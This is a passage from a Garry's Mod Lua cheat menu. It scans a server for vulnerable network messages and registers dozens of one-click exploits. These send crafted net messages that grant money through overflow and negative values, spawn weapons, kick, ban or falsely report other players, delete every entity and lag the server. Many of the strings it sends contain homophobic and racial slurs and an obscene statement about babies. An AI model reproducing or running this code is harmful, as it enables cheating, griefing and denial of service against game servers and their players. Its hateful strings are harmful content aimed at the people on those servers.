7294for k,v in pairs(player.GetAll()) do
7295net.Start("AcceptBailOffer")
7296net.WriteEntity(v)
7297net.WriteUInt(-100000000000000000, 16 )
7298net.SendToServer()
7299end
7300end )
7301end
7302
7303status = ValidNetString("CP_Test_Results")
7304if (status) then
7305CHATPRINT("Exploit Trouvé : CP Bypass [CP_Test_Results]")
7306addExploit( "183","CP Bypass", "", function()
7307surface.PlaySound("garrysmod/ui_click.wav")
7308NOTIFICATION("Starting")
7309net.Start("CP_Test_Results")
7310net.WriteInt(1 ,8)
7311net.SendToServer()
7312end )
7313end
7314
7315status = ValidNetString("ReSpawn")
7316if (status) then
7317CHATPRINT("Exploit Trouvé : Respawn #4 [ReSpawn]")
7318addExploit( "184","Respawn #4", "just respawn", function()
7319surface.PlaySound("garrysmod/ui_click.wav")
7320NOTIFICATION("Starting")
7321net.Start("ReSpawn")
7322net.SendToServer()
7323end )
7324end
7325
7326status = ValidNetString("FIGHTCLUB_KickPlayer")
7327if (status) then
7328CHATPRINT("Exploit Trouvé : Fight Club Kick [FIGHTCLUB_KickPlayer]")
7329addExploit( "185","Fight Club Kick", "", function()
7330surface.PlaySound("garrysmod/ui_click.wav")
7331NOTIFICATION("Starting")
7332for k,v in pairs(player.GetAll()) do
7333net.Start("FIGHTCLUB_KickPlayer")
7334net.WriteBit(v)
7335net.WriteEntity(v)
7336net.SendToServer()
7337end
7338end )
7339end
7340
7341status = ValidNetString("FIGHTCLUB_StartFight")
7342if (status) then
7343CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
7344addExploit( "186","Fight Club Start Fight", "", function()
7345surface.PlaySound("garrysmod/ui_click.wav")
7346NOTIFICATION("Starting")
7347for k,v in pairs(player.GetAll()) do
7348net.Start("FIGHTCLUB_StartFight")
7349net.WriteEntity(v)
7350net.SendToServer()
7351end
7352end )
7353end
7354
7355status = ValidNetString("IveBeenRDMed")
7356if (status) then
7357CHATPRINT("Exploit Trouvé : Fake RDM [IveBeenRDMed]")
7358addExploit( "187","Fake RDM", "", function()
7359surface.PlaySound("garrysmod/ui_click.wav")
7360NOTIFICATION("Starting")
7361for k,v in pairs(player.GetAll()) do
7362net.Start("IveBeenRDMed")
7363net.WriteEntity(v)
7364net.SendToServer()
7365end
7366end )
7367end
7368
7369status = ValidNetString("nCTieUpStart")
7370if (status) then
7371CHATPRINT("Exploit Trouvé : Combine Control Exploit [nCTieUpStart]")
7372addExploit( "188","Combine Control Exploit", "", function()
7373surface.PlaySound("garrysmod/ui_click.wav")
7374NOTIFICATION("Starting")
7375for k,v in pairs(ents.GetAll()) do
7376net.Start("nCTieUpStart")
7377net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7378net.SendToServer()
7379end
7380end )
7381end
7382
7383status = ValidNetString("DestroyTable")
7384if (status) then
7385CHATPRINT("Exploit Trouvé : Fuck All [DestroyTable]")
7386addExploit( "189","Fuck All", "discovered by Leith", function()
7387surface.PlaySound("garrysmod/ui_click.wav")
7388NOTIFICATION("Starting")
7389for k,v in pairs(ents.GetAll()) do
7390net.Start("DestroyTable")
7391net.WriteEntity(v)
7392net.SendToServer()
7393end
7394end )
7395end
7396
7397status = ValidNetString("start_wd_hack")
7398if (status) then
7399CHATPRINT("Exploit Trouvé : Hack Phone Exploit [start_wd_hack]")
7400addExploit( "190","Hack Phone Exploit", "", function()
7401surface.PlaySound("garrysmod/ui_click.wav")
7402NOTIFICATION("Starting")
7403net.Start("start_wd_hack")
7404net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7405net.SendToServer()
7406end )
7407end
7408
7409status = ValidNetString("bringNfreeze")
7410if (status) then
7411CHATPRINT("Exploit Trouvé : Ban Exploit [bringNfreeze]")
7412addExploit( "191","Ban Exploit", "", function()
7413surface.PlaySound("garrysmod/ui_click.wav")
7414NOTIFICATION("Starting")
7415for k,v in pairs(player.GetAll()) do
7416net.Start('bringNfreeze')
7417net.WriteEntity(self)
7418net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
7419net.SendToServer()
7420end
7421end )
7422end
7423
7424status = ValidNetString("JoinFirstSS")
7425if (status) then
7426CHATPRINT("Exploit Trouvé : Join First SS [JoinFirstSS]")
7427addExploit( "192","Join First SS", "", function()
7428surface.PlaySound("garrysmod/ui_click.wav")
7429NOTIFICATION("Starting")
7430net.Start("JoinFirstSS")
7431net.WriteEntity(LocalPlayer())
7432net.SendToServer()
7433end )
7434end
7435
7436status = ValidNetString("unarrestPerson")
7437if (status) then
7438CHATPRINT("Exploit Trouvé : Unarrest Person [unarrestPerson]")
7439addExploit( "193","Unarrest Person", "", function()
7440surface.PlaySound("garrysmod/ui_click.wav")
7441NOTIFICATION("Starting")
7442for k,v in pairs(player.GetAll()) do
7443net.Start("unarrestPerson")
7444net.WriteEntity(v)
7445net.SendToServer()
7446end
7447end )
7448end
7449
7450status = ValidNetString("giveArrestReason")
7451if (status) then
7452CHATPRINT("Exploit Trouvé : Give Arrest Reason [giveArrestReason]")
7453addExploit( "194","Give Arrest Reason", "", function()
7454surface.PlaySound("garrysmod/ui_click.wav")
7455NOTIFICATION("Starting")
7456for k,v in pairs(player.GetAll()) do
7457net.Start("giveArrestReason")
7458net.WriteEntity(LocalPlayer())
7459net.WriteEntity(v)
7460net.WriteString("Faggot")
7461net.SendToServer()
7462end
7463end )
7464end
7465
7466status = ValidNetString("sellitem")
7467if (status) then
7468CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
7469addExploit( "195","Argent Gratuite #24", "", function()
7470surface.PlaySound("garrysmod/ui_click.wav")
7471NOTIFICATION("Starting")
7472net.Start("sellitem")
7473net.WriteString(self)
7474net.WriteEntity(LocalPlayer())
7475net.SendToServer()
7476end )
7477end
7478
7479status = ValidNetString("createFaction")
7480if (status) then
7481CHATPRINT("Exploit Trouvé : Create Faction [createFaction]")
7482addExploit( "196","Create Faction", "", function()
7483surface.PlaySound("garrysmod/ui_click.wav")
7484NOTIFICATION("Starting")
7485for k,v in pairs(player.GetAll()) do
7486net.Start("createFaction")
7487net.WriteEntity(v)
7488net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
7489net.SendToServer()
7490end
7491end )
7492end
7493
7494status = ValidNetString("inviteToOrganization")
7495if (status) then
7496CHATPRINT("Exploit Trouvé : Faction Invite All [inviteToOrganization]")
7497addExploit( "197","Faction Invite All", "", function()
7498surface.PlaySound("garrysmod/ui_click.wav")
7499NOTIFICATION("Starting")
7500for k,v in pairs(player.GetAll()) do
7501net.Start("inviteToOrganization")
7502net.WriteEntity(v)
7503net.WriteEntity(LocalPlayer())
7504net.SendToServer()
7505end
7506end )
7507end
7508
7509status = ValidNetString("GovStation_SpawnVehicle")
7510if (status) then
7511CHATPRINT("Exploit Trouvé : Gov Spawn [GovStation_SpawnVehicle]")
7512addExploit( "198","Gov Spawn", "", function()
7513surface.PlaySound("garrysmod/ui_click.wav")
7514NOTIFICATION("Starting")
7515for k,v in pairs(ents.GetAll()) do
7516net.Start("GovStation_SpawnVehicle")
7517net.WriteString("GOV_POLICE")
7518net.SendToServer()
7519end
7520end )
7521end
7522
7523status = ValidNetString("GiveWeapon")
7524if (status) then
7525CHATPRINT("Exploit Trouvé : Give Weapons #3 [GiveWeapon]")
7526addExploit( "199","Give Weapons #3", "get weapons", function()
7527surface.PlaySound("garrysmod/ui_click.wav")
7528NOTIFICATION("Starting")
7529net.Start("GiveWeapon")
7530net.WriteEntity(LocalPlayer())
7531net.WriteString("m9k_davy_crockett")
7532net.WriteFloat(0)
7533net.SendToServer()
7534end )
7535end
7536
7537status = ValidNetString("DailyLoginClaim")
7538if (status) then
7539CHATPRINT("Exploit Trouvé : Daily Login Reward [DailyLoginClaim]")
7540addExploit( "200","Daily Login Reward", "", function()
7541surface.PlaySound("garrysmod/ui_click.wav")
7542NOTIFICATION("Starting")
7543net.Start("DailyLoginClaim")
7544net.SendToServer()
7545end )
7546end
7547
7548status = ValidNetString("DL_AskLogsList")
7549if (status) then
7550CHATPRINT("Exploit Trouvé : Ask Log List [DL_AskLogsList]")
7551addExploit( "201","Ask Log List", "", function()
7552surface.PlaySound("garrysmod/ui_click.wav")
7553NOTIFICATION("Starting")
7554net.Start("DL_AskLogsList")
7555net.SendToServer()
7556end )
7557end
7558
7559status = ValidNetString("DL_StartReport")
7560if (status) then
7561CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
7562addExploit( "202","DL Report Tout Le Monde", "", function()
7563surface.PlaySound("garrysmod/ui_click.wav")
7564NOTIFICATION("Starting")
7565for k,v in pairs(player.GetAll()) do
7566net.Start("DL_StartReport")
7567net.SendToServer()
7568net.Start("DL_ReportPlayer")
7569net.WriteEntity(v)
7570net.WriteString("Hes being a gay faggot plz ban him")
7571net.SendToServer()
7572end
7573end )
7574end
7575
7576status = ValidNetString("sv_saveweapons")
7577if (status) then
7578CHATPRINT("Exploit Trouvé : TTT Weapons Exploit [sv_saveweapons]")
7579addExploit( "203","DL Report Tout Le Monde", "", function()
7580surface.PlaySound("garrysmod/ui_click.wav")
7581NOTIFICATION("Starting")
7582net.Start("sv_saveweapons")
7583net.WriteString("weapon_ttt_rpg")
7584net.WriteString("weapon_ttt_rpg")
7585net.WriteString("eg")
7586net.SendToServer()
7587end )
7588end
7589
7590status = ValidNetString("SpecDM_SendLoadout")
7591if (status) then
7592CHATPRINT("Exploit Trouvé : SpecDM Exploit [SpecDM_SendLoadout]")
7593addExploit( "204","SpecDM Exploit", "", function()
7594surface.PlaySound("garrysmod/ui_click.wav")
7595NOTIFICATION("Starting")
7596net.Start("SpecDM_SendLoadout")
7597net.WriteString("eg")
7598net.WriteString("weapon_ttt_defib")
7599net.SendToServer()
7600end )
7601end
7602
7603status = ValidNetString("PowerRoundsForcePR")
7604if (status) then
7605CHATPRINT("Exploit Trouvé : Power Rounds Force [PowerRoundsForcePR]")
7606addExploit( "205","Power Rounds Force", "", function()
7607surface.PlaySound("garrysmod/ui_click.wav")
7608NOTIFICATION("Starting")
7609net.Start("PowerRoundsForcePR")
7610net.SendToServer()
7611end )
7612end
7613
7614status = ValidNetString("wyozimc_playply")
7615if (status) then
7616CHATPRINT("Exploit Trouvé : Wyozimc Music Exploit [wyozimc_playply]")
7617addExploit( "206","Wyozimc Music Exploit", "", function()
7618surface.PlaySound("garrysmod/ui_click.wav")
7619NOTIFICATION("Starting")
7620for k,v in pairs(player.GetAll()) do
7621net.Start("wyozimc_playply")
7622net.WriteEntity(v)
7623net.WriteString("https://www.youtube.com/watch?v=2fSeiKs6MYY")
7624net.SendToServer()
7625end
7626end )
7627end
7628
7629status = ValidNetString("SendSteamID")
7630if (status) then
7631CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
7632addExploit( "207","Envoyez Mail's", "", function()
7633surface.PlaySound("garrysmod/ui_click.wav")
7634NOTIFICATION("Starting")
7635for k,v in pairs(player.GetAll()) do
7636net.Start("SendSteamID")
7637net.WriteEntity(v)
7638net.WriteString("Faggot")
7639net.WriteString("Faggot")
7640net.SendToServer()
7641end
7642end )
7643end
7644
7645status = ValidNetString("JB_GiveCubics")
7646if (status) then
7647CHATPRINT("Exploit Trouvé : Give Cubics All [JB_GiveCubics]")
7648addExploit( "208","Give Cubics All", "", function()
7649surface.PlaySound("garrysmod/ui_click.wav")
7650NOTIFICATION("Starting")
7651for k,v in pairs(player.GetAll()) do
7652net.Start("JB_GiveCubics")
7653net.WriteEntity(v)
7654net.WriteInt(math.floor(dwang:GetValue()), 255)
7655net.SendToServer()
7656end
7657end )
7658end
7659
7660status = ValidNetString("JB_SelectWarden")
7661if (status) then
7662CHATPRINT("Exploit Trouvé : Select Warden All [JB_SelectWarden]")
7663addExploit( "209","Select Warden All", "", function()
7664surface.PlaySound("garrysmod/ui_click.wav")
7665NOTIFICATION("Starting")
7666for k,v in pairs(player.GetAll()) do
7667net.Start("JB_SelectWarden")
7668net.WriteEntity(v)
7669net.SendToServer()
7670end
7671end )
7672end
7673
7674status = ValidNetString("RDMReason_Explain")
7675if (status) then
7676CHATPRINT("Exploit Trouvé : RDM Explain [RDMReason_Explain]")
7677addExploit( "210","RDM Explain", "", function()
7678surface.PlaySound("garrysmod/ui_click.wav")
7679NOTIFICATION("Starting")
7680for k,v in pairs(player.GetAll()) do
7681net.Start("RDMReason_Explain")
7682net.WriteTable({id=v, reason=fgt})
7683net.SendToServer()
7684end
7685end )
7686end
7687
7688status = ValidNetString("redirectMsg")
7689if (status) then
7690CHATPRINT("Exploit Trouvé : Redirect Message [redirectMsg]")
7691addExploit( "211","Redirect Message", "", function()
7692surface.PlaySound("garrysmod/ui_click.wav")
7693NOTIFICATION("Starting")
7694net.Start("redirectMsg")
7695net.WriteString("Fuck you! YOUR ALL FAGGOTS!")
7696net.SendToServer()
7697end )
7698end
7699
7700status = ValidNetString("LB_AddBan")
7701if (status) then
7702CHATPRINT("Exploit Trouvé : LB Ban [LB_AddBan]")
7703addExploit( "212","LB Ban", "", function()
7704surface.PlaySound("garrysmod/ui_click.wav")
7705NOTIFICATION("Starting")
7706for k,v in pairs(player.GetAll()) do
7707if v != LocalPlayer() then
7708net.Start("LB_AddBan")
7709net.WriteString("STEAM_0:0:71238382")
7710net.WriteString("fgt")
7711net.SendToServer()
7712end
7713end
7714end )
7715end
7716
7717status = ValidNetString("GET_Admin_MSGS")
7718if (status) then
7719CHATPRINT("Exploit Trouvé : Brass Admin Chat [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
7720addExploit( "213","Brass Admin Chat", "", function()
7721surface.PlaySound("garrysmod/ui_click.wav")
7722NOTIFICATION("Starting")
7723net.Start("GET_Admin_MSGS")
7724net.SendToServer()
7725net.Start("OPEN_ADMIN_CHAT")
7726net.SendToServer()
7727end )
7728end
7729
7730status = ValidNetString("br_send_pm")
7731if (status) then
7732CHATPRINT("Exploit Trouvé : Brass Email Send All [br_send_pm]")
7733addExploit( "214","Brass Email Send All", "", function()
7734surface.PlaySound("garrysmod/ui_click.wav")
7735NOTIFICATION("Starting")
7736for k,v in pairs(player.GetAll()) do
7737if v != LocalPlayer() then
7738net.Start("br_send_pm")
7739net.WriteString(v)
7740net.WriteString("FGT")
7741net.WriteEntity(v)
7742net.SendToServer()
7743end
7744end
7745end )
7746end
7747
7748status = ValidNetString("LAWYER.BailFelonOut")
7749if (status) then
7750CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
7751addExploit( "215","Bail Felon Out", "", function()
7752surface.PlaySound("garrysmod/ui_click.wav")
7753NOTIFICATION("Starting")
7754net.Start("LAWYER.BailFelonOut")
7755net.WriteString("1")
7756net.WriteString("fgt")
7757net.SendToServer()
7758end )
7759end
7760
7761status = ValidNetString("LAWYER.GetBailOut")
7762if (status) then
7763CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
7764addExploit( "216","Get Bail Out", "", function()
7765surface.PlaySound("garrysmod/ui_click.wav")
7766NOTIFICATION("Starting")
7767net.Start("LAWYER.GetBailOut")
7768net.WriteString("Mick")
7769net.WriteString("Mick")
7770net.WriteString("1000000")
7771net.SendToServer()
7772end )
7773end
7774
7775status = ValidNetString("GrabMoney")
7776if (status) then
7777CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
7778addExploit( "217","Get Bail Out", "", function()
7779surface.PlaySound("garrysmod/ui_click.wav")
7780NOTIFICATION("Starting")
7781for k,v in pairs(ents.GetAll()) do
7782if v:GetClass() == "gold" then
7783if v:GetClass() == "silver" then
7784if v:GetClass() == "vip" then
7785if v:GetClass() == "vipgold" then
7786net.Start("GrabMoney")
7787net.WriteEntity(LocalPlayer())
7788net.SendToServer()
7789end
7790end
7791end
7792end
7793end
7794end )
7795end
7796
7797status = ValidNetString("nox_addpremadepunishment")
7798if (status) then
7799CHATPRINT("Exploit Trouvé : Nox Ban [nox_addpremadepunishment]")
7800addExploit( "218","Nox Ban", "", function()
7801surface.PlaySound("garrysmod/ui_click.wav")
7802NOTIFICATION("Starting")
7803for k,v in pairs(player.GetAll()) do
7804if v != LocalPlayer() then
7805net.Start("nox_addpremadepunishment")
7806net.WriteEntity("Sun")
7807net.WriteUInt(2, 8)
7808net.SendToServer()
7809end
7810end
7811end )
7812end
7813
7814status = ValidNetString("NET_CR_TakeStoredMoney")
7815if (status) then
7816CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
7817addExploit( "219","Steal Registry Money", "", function()
7818surface.PlaySound("garrysmod/ui_click.wav")
7819NOTIFICATION("Starting")
7820for k,v in pairs(ents.GetAll()) do
7821if v:GetClass() == "ss_cash_registry" then
7822net.Start('NET_CR_TakeStoredMoney')
7823net.WriteEntity("ss_cash_registry")
7824net.WriteEntity(LocalPlayer())
7825net.SendToServer()
7826end
7827end
7828end )
7829end
7830
7831status = ValidNetString("HV_AmmoBuy")
7832if (status) then
7833CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
7834addExploit( "220","HV Munitions Gratuites", "", function()
7835surface.PlaySound("garrysmod/ui_click.wav")
7836NOTIFICATION("Starting")
7837net.Start("HV_AmmoBuy")
7838net.WriteFloat("2")
7839net.SendToServer()
7840net.Start("HV_AmmoBuy")
7841net.WriteFloat("1")
7842net.SendToServer()
7843end )
7844end
7845
7846status = ValidNetString("hitcomplete")
7847if (status) then
7848CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
7849addExploit( "221","Super RP Hit", "", function()
7850surface.PlaySound("garrysmod/ui_click.wav")
7851NOTIFICATION("Starting")
7852for k,v in pairs(player.GetAll()) do
7853if v != LocalPlayer() then
7854net.Start("hitcomplete")
7855net.WriteEntity(v)
7856net.SendToServer()
7857end
7858end
7859end )
7860end
7861
7862status = ValidNetString("SyncRemoveAction")
7863if (status) then
7864CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
7865addExploit( "222","Remove All", "", function()
7866surface.PlaySound("garrysmod/ui_click.wav")
7867NOTIFICATION("Starting")
7868for k,v in pairs(ents.GetAll()) do
7869net.Start("SyncRemoveAction")
7870net.WriteEntity(v)
7871net.SendToServer()
7872end
7873end )
7874end
7875
7876status = ValidNetString("TMC_NET_MakePlayerWanted")
7877if (status) then
7878CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
7879addExploit( "223","Make All Wanted", "", function()
7880surface.PlaySound("garrysmod/ui_click.wav")
7881NOTIFICATION("Starting")
7882for k,v in pairs(player.GetAll()) do
7883net.Start("TMC_NET_MakePlayerWanted")
7884net.WriteString("bad")
7885net.WriteString("bad")
7886net.SendToServer()
7887end
7888end )
7889end
7890
7891status = ValidNetString("thiefnpc")
7892if (status) then
7893CHATPRINT("Exploit Trouvé : Thief NPC [thiefnpc]")
7894addExploit( "224","Thief NPC", "", function()
7895surface.PlaySound("garrysmod/ui_click.wav")
7896NOTIFICATION("Starting")
7897net.Start('thiefnpc')
7898net.WriteDouble(-99999999999999999)
7899net.SendToServer()
7900end )
7901end
7902
7903status = ValidNetString("TMC_NET_FirePlayer")
7904if (status) then
7905CHATPRINT("Exploit Trouvé : Fire Player [TMC_NET_FirePlayer]")
7906addExploit( "225","Fire Player", "", function()
7907surface.PlaySound("garrysmod/ui_click.wav")
7908NOTIFICATION("Starting")
7909net.Start("TMC_NET_FirePlayer")
7910net.WriteString("Paypal")
7911net.SendToServer()
7912end )
7913end
7914
7915status = ValidNetString("updateLaws")
7916if (status) then
7917CHATPRINT("Exploit Trouvé : Update Laws [updateLaws]")
7918addExploit( "226","Update Laws", "", function()
7919surface.PlaySound("garrysmod/ui_click.wav")
7920NOTIFICATION("Starting")
7921net.Start("updateLaws")
7922net.WriteString("Bitch")
7923net.SendToServer()
7924end )
7925end
7926
7927status = ValidNetString("LotteryMenu")
7928if (status) then
7929CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
7930addExploit( "227","Argent Gratuite #25", "", function()
7931surface.PlaySound("garrysmod/ui_click.wav")
7932NOTIFICATION("Starting")
7933net.Start("LotteryMenu")
7934net.WriteEntity(LocalPlayer())
7935net.WriteInt(1000000000000000000, 16)
7936net.SendToServer()
7937end )
7938end
7939
7940status = ValidNetString("soundArrestCommit")
7941if (status) then
7942CHATPRINT("Exploit Trouvé : Sound Arrest [soundArrestCommit]")
7943addExploit( "228","Sound Arrest", "", function()
7944surface.PlaySound("garrysmod/ui_click.wav")
7945NOTIFICATION("Starting")
7946net.Start("soundArrestCommit")
7947net.WriteString("Shit")
7948net.SendToServer()
7949end )
7950end
7951
7952status = ValidNetString("hoverboardpurchase")
7953if (status) then
7954CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
7955addExploit( "229","Hover Board", "", function()
7956surface.PlaySound("garrysmod/ui_click.wav")
7957NOTIFICATION("Starting")
7958net.Start("hoverboardpurchase")
7959net.WriteInt(8, 32)
7960net.SendToServer()
7961end )
7962end
7963
7964status = ValidNetString("SpawnProtection")
7965if (status) then
7966CHATPRINT("Exploit Trouvé : Off Spawn Protection [SpawnProtection]")
7967addExploit( "230","Off Spawn Protection", "", function()
7968surface.PlaySound("garrysmod/ui_click.wav")
7969NOTIFICATION("Starting")
7970net.Start("SpawnProtection")
7971net.WriteFloat(0)
7972net.SendToServer()
7973end )
7974end
7975
7976status = ValidNetString("NPCShop_BuyItem")
7977if (status) then
7978CHATPRINT("Exploit Trouvé : NPC Shop [NPCShop_BuyItem]")
7979addExploit( "231","NPC Shop", "", function()
7980surface.PlaySound("garrysmod/ui_click.wav")
7981NOTIFICATION("Starting")
7982net.Start("NPCShop_BuyItem")
7983net.WriteString("weapon_hack_phone")
7984net.SendToServer()
7985end )
7986end
7987
7988status = ValidNetString("CubeRiot CaptureZone Update")
7989if (status) then
7990CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
7991addExploit( "232","CubeRiot Exploit", "", function()
7992surface.PlaySound("garrysmod/ui_click.wav")
7993NOTIFICATION("Starting")
7994net.Start("CubeRiot CaptureZone Update")
7995net.WriteUInt( 1, 8 )
7996net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7997net.WriteVector( "2654.989258 2254.119629 -139.968750" )
7998net.SendToServer()
7999end )
8000end
8001
8002status = ValidNetString("deposit")
8003if (status) then
8004CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
8005addExploit( "233","Argent Gratuite #26", "", function()
8006surface.PlaySound("garrysmod/ui_click.wav")
8007NOTIFICATION("Starting")
8008net.Start("deposit")
8009net.WriteString("-10000000000000000000000")
8010net.SendToServer()
8011end )
8012end
8013
8014status = ValidNetString("AcceptRequest")
8015if (status) then
8016CHATPRINT("Exploit Trouvé : Call Exploit [AcceptRequest]")
8017addExploit( "234","Call Exploit", "", function()
8018surface.PlaySound("garrysmod/ui_click.wav")
8019NOTIFICATION("Starting")
8020for k,v in pairs(player.GetAll()) do
8021net.Start("AcceptRequest")
8022net.WriteEntity(v)
8023net.SendToServer()
8024end
8025end )
8026end
8027
8028status = ValidNetString("Chess ClientWager")
8029if (status) then
8030CHATPRINT("Exploit Trouvé : Chess Exploit [Chess ClientWager | Chess ClientResign]")
8031addExploit( "235","Chess Exploit", "", function()
8032surface.PlaySound("garrysmod/ui_click.wav")
8033NOTIFICATION("Starting")
8034net.Start("Chess ClientWager")
8035net.WriteUInt( -999999999999999999999999999, 24 )
8036net.SendToServer()
8037net.Start("Chess ClientResign")
8038net.SendToServer()
8039end )
8040end
8041
8042status = ValidNetString("netOrgVoteInvite_Server")
8043if (status) then
8044CHATPRINT("Exploit Trouvé : Org Invite All [netOrgVoteInvite_Server]")
8045addExploit( "236","Org Invite All", "", function()
8046surface.PlaySound("garrysmod/ui_click.wav")
8047NOTIFICATION("Starting")
8048for k,v in pairs(player.GetAll()) do
8049net.Start("netOrgVoteInvite_Server")
8050net.WriteEntity(v)
8051net.SendToServer()
8052end
8053end )
8054end
8055
8056
8057status = ValidNetString("donatorshop_itemtobuy")
8058if (status) then
8059CHATPRINT("Exploit Trouvé : Donator Box Exploit [donatorshop_itemtobuy]")
8060addExploit( "237","Donator Box Exploit", "", function()
8061surface.PlaySound("garrysmod/ui_click.wav")
8062NOTIFICATION("Starting")
8063net.Start("donatorshop_itemtobuy")
8064net.WriteString("DonatorShopBuyTripwire")
8065net.SendToServer()
8066end )
8067end
8068
8069status = ValidNetString("AskPickupItemInv")
8070if (status) then
8071CHATPRINT("Exploit Trouvé : Ask Item [AskPickupItemInv]")
8072addExploit( "238","Ask Item", "", function()
8073surface.PlaySound("garrysmod/ui_click.wav")
8074NOTIFICATION("Starting")
8075for k,v in pairs(player.GetAll()) do
8076net.Start("AskPickupItemInv")
8077net.WriteUInt(4,16)
8078net.WriteUInt(1,16)
8079net.SendToServer()
8080end
8081end )
8082end
8083
8084status = ValidNetString("buy_bundle")
8085if (status) then
8086CHATPRINT("Exploit Trouvé : Buy Bundle [buy_bundle]")
8087addExploit( "239","Buy Bundle", "", function()
8088surface.PlaySound("garrysmod/ui_click.wav")
8089NOTIFICATION("Starting")
8090net.Start("buy_bundle")
8091net.WriteFloat(1, 16)
8092net.SendToServer()
8093end )
8094end
8095
8096status = ValidNetString("LawyerOfferBail")
8097if (status) then
8098CHATPRINT("Exploit Trouvé : Lawyer Off Bail [LawyerOfferBail | AcceptBailOffer]")
8099addExploit( "240","Lawyer Off Bail", "", function()
8100surface.PlaySound("garrysmod/ui_click.wav")
8101NOTIFICATION("Starting")
8102for k,v in pairs(player.GetAll()) do
8103net.Start("LawyerOfferBail")
8104net.WriteEntity(v)
8105net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8106net.SendToServer()
8107net.Start("AcceptBailOffer")
8108net.WriteEntity(v)
8109net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000, 16)
8110net.SendToServer()
8111end
8112end )
8113end
8114
8115status = ValidNetString("MineServer")
8116if (status) then
8117CHATPRINT("Exploit Trouvé : Lagger #22 [MineServer]")
8118addExploit( "241","Lagger #22", "lags", function()
8119surface.PlaySound("garrysmod/ui_click.wav")
8120NOTIFICATION("Starting")
8121for i = 0, 100 do
8122for k,v in pairs(player.GetAll()) do
8123net.Start("MineServer",true)
8124net.WriteString("sell")
8125net.WriteEntity(v)
8126net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
8127net.SendToServer()
8128end
8129end
8130end )
8131end
8132
8133status = ValidNetString("Gb_gasstation_BuyGas")
8134if (status) then
8135CHATPRINT("Exploit Trouvé : Ukrainian gas [Gb_gasstation_BuyGas | Gb_gasstation_BuyJerrycan]")
8136addExploit( "242","Ukrainian gas", "", function()
8137surface.PlaySound("garrysmod/ui_click.wav")
8138NOTIFICATION("Starting")
8139net.Start("Gb_gasstation_BuyGas")
8140net.SendToServer()
8141net.Start("Gb_gasstation_BuyJerrycan")
8142net.SendToServer()
8143end )
8144end
8145
8146status = ValidNetString("D3A_CreateOrg")
8147if (status) then
8148CHATPRINT("Exploit Trouvé : D3A Create Org [D3A_CreateOrg]")
8149addExploit( "243","D3A Create Org", "", function()
8150surface.PlaySound("garrysmod/ui_click.wav")
8151NOTIFICATION("Starting")
8152net.Start("D3A_CreateOrg")
8153net.WriteString('969690485273489312467812367128312312314')
8154net.WriteString('123712983712984571298712398')
8155net.WriteString("255 255 255")
8156net.SendToServer()
8157end )
8158end
8159
8160status = ValidNetString("Shop_buy")
8161if (status) then
8162CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
8163addExploit( "244","SUP Buy Armor", "", function()
8164surface.PlaySound("garrysmod/ui_click.wav")
8165NOTIFICATION("Starting")
8166net.Start("Shop_buy")
8167net.WriteString("Armor")
8168net.SendToServer()
8169end )
8170end
8171
8172status = ValidNetString("LawsToServer")
8173if (status) then
8174CHATPRINT("Exploit Trouvé : SUP New Laws [LawsToServer]")
8175addExploit( "245","SUP New Laws", "", function()
8176surface.PlaySound("garrysmod/ui_click.wav")
8177NOTIFICATION("Starting")
8178net.Start("LawsToServer")
8179net.WriteString("FAGGOTS")
8180net.SendToServer()
8181end )
8182end
8183
8184status = ValidNetString("D3A_Message")
8185if (status) then
8186CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
8187addExploit( "246","D3A Message", "", function()
8188surface.PlaySound("garrysmod/ui_click.wav")
8189NOTIFICATION("Starting")
8190local stuff = {
8191
8192}
8193net.Start("D3A_Message")
8194net.WriteString("FAGGOTS")
8195net.WriteTable(stuff)
8196net.SendToServer()
8197end )
8198end
8199
8200status = ValidNetString("misswd_accept")
8201if (status) then
8202CHATPRINT("Exploit Trouvé : Misswd Accept [misswd_accept]")
8203addExploit( "247","Misswd Accept", "", function()
8204surface.PlaySound("garrysmod/ui_click.wav")
8205NOTIFICATION("Starting")
8206for k,v in pairs(player.GetAll()) do
8207for i = 0, 100 do
8208net.Start("misswd_accept")
8209net.WriteEntity(v)
8210net.SendToServer()
8211end
8212end
8213end )
8214end
8215
8216status = ValidNetString("ScannerMenu")
8217if (status) then
8218CHATPRINT("Exploit Trouvé : Scanner Exploit [ScannerMenu]")
8219addExploit( "248","Scanner Exploit", "", function()
8220surface.PlaySound("garrysmod/ui_click.wav")
8221NOTIFICATION("Starting")
8222for k,v in pairs(player.GetAll()) do
8223net.Start("ScannerMenu")
8224net.WriteEntity(v)
8225net.WriteFloat(1)
8226net.WriteFloat(1)
8227net.SendToServer()
8228end
8229end )
8230end
8231
